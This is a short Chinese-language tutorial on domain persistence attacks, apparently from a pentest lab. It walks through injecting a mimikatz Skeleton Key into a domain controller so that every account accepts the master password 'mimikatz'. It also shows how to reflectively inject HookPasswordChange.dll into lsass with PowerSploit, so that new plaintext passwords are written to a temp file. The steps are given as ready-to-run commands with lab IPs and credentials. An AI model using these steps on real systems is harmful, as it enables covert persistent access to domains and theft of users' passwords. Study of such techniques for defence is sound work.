1、Skeleton Key
使用Skeleton Key(萬能密碼),可以對域内權限進行持久化操作
Skeleton Key特點:
- Skeleton Key被安裝在64位域控伺服器上
- 支援Windows Server2003—Windows Server2012 R2
- 能夠讓所有域使用者使用同一個萬能密碼進行登入
- 現有的所有域使用者使用原密碼仍能繼續登入
- 重新開機後失效
使用mimikatz注入Skeleton Key
遠端域控制器主機名:DC
IP:192.168.111.3
使用者名:administrator
密碼:Admin123
使用正常的管理者賬号密碼進行遠端連接配接:
net use \\192.168.111.3\ipc$ "Admin123" /user:hacke\administrator
成功列出域控制器的目錄
在域控制器上以管理者權限打開mimikatz,輸入如下指令:
privilege::debug
misc::skeleton
系統提示已經注入成功。此時,會在域内的所有賬号中添加一個Skeleton Key,其密碼預設為:mimikatz
使用這個密碼進行遠端連接配接:
net use //檢視現有ipc$
net use \\192.168.111.3\ipc$ /del /y //删除之前建立的ipc$
net use \\dc\ipc$ "mimikatz" /user:hacke\administrator //使用Skeleton Key與域控器建立ipc$
這裡不能使用ip位址
與域控制器成功建立連接配接,并列出其目錄
2、Hook PasswordChangeNotify
Hook PasswordChangeNotify的作用是當使用者修改密碼後在系統中進行同步。攻擊者可利用該功能擷取目标使用者修改密碼時所輸入的明文密碼
在修改密碼時,使用者輸入新密碼後,LSA會調用PasswordFileter來檢查該密碼是否符合複雜性要求。如果密碼符合複雜性要求,LSA會調用PasswordChangeNotify,在系統中同步密碼
使用Invoke-ReflectivePEInjection.ps1進行HookPasswordChange.dll注入
Invoke-ReflectivePEInjection.ps1在PowerSploit工具包裡面
HookPasswordChange.dll在github上下載下傳:https://github.com/clymb3r/Misc-Windows-Hacking.git
使用VS2015開發環境,MFC設定為在靜态庫中使用MFC
編譯工程,生成HookPasswordChange.dll
将Invoke-ReflectivePEInjection.ps1和HookPasswordChange.dll上傳到域控制器上
在域控制器的PowerShell中輸入如下指令:
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
然後更改密碼:
net user administrator Admin12345
更改後的密碼将會儲存在C:\Windows\Temp\password.txt檔案中